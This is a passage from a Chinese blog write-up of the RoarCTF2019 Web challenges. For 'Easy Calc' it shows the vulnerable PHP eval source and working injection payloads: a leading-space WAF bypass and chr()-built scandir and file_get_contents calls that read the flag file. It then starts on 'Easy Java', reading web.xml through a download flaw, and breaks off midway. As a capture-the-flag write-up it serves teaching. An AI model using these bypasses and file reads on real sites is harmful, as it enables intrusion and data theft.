RoarCTF2019部分Writeup

本文详细介绍了RoarCTF2019比赛中Web部分的挑战,包括Easy Calc的PHP命令注入,Easy Java的文件包含漏洞,Simple Upload的ThinkPHP框架利用,以及Online Proxy的SSRF与数据库注入。同时,Misc部分讨论了黄金6年的视频解码和forensic的内存文件分析,揭示了如何通过各种技术获取flag。
摘要由CSDN通过智能技术生成

Web

Easy Calc

页面源码线索中得到calc.php

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
   
    show_source(__FILE__);
}else{
   
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
   
                if (preg_match('/' . $blackitem . '/m', $str)) {
   
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
} ?>

需要上传一个num的参数值,然后经过正则过滤之后输出我们上传的num的值的执行结果。

我们可以使用分号;来使num为多个语句,从而执行多条语句,关键是我们怎么传递这个num的值,而且在页面源码中告诉我们网站上了WAF

我们并不能从网页中得到flag在哪里,就算利用成功可以读取文件,也要先知道flag在哪,所以要先利用scandir("/")来读取一下文件

由于正则中过滤了引号,所以我们利用的时候要进行一下字符转换:num=1;var_dump(scandir(chr(47)))
但是这样并不能成功,那就可能是waf的问题了,waf毫无疑问也是用php写的了。
这个绕过只需要在传参的时候在num参数签名添加空格即可,也就是参数“num”变成了“ num”,因为php解析的时候会去除参数前面的空格,但是waf对url分析的时候可能不会去掉空格

calc.php? num=1;var_dump(scandir(chr(47)))
读取到存在f1agg文件

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
读取出flag内容
Easy Java

进去页面是个登录界面,help可以进入文档下载界面,但是显示:java.io.FileNotFoundException:{help.docx}

修改成POST请求尝试,发现可以下载到help.docx文件,虽然这个文件没啥用,但是给了一个文件包含的漏洞

但是此时悲催的是仍然不知道flag在哪个文件里,那就尝试读取一下 /WEB-INF/web.xml文件,这个是Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
(从题目提示java网站以及网站错误得到的Tomcat中间件得到/WEB-INF为安全配置目录)

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值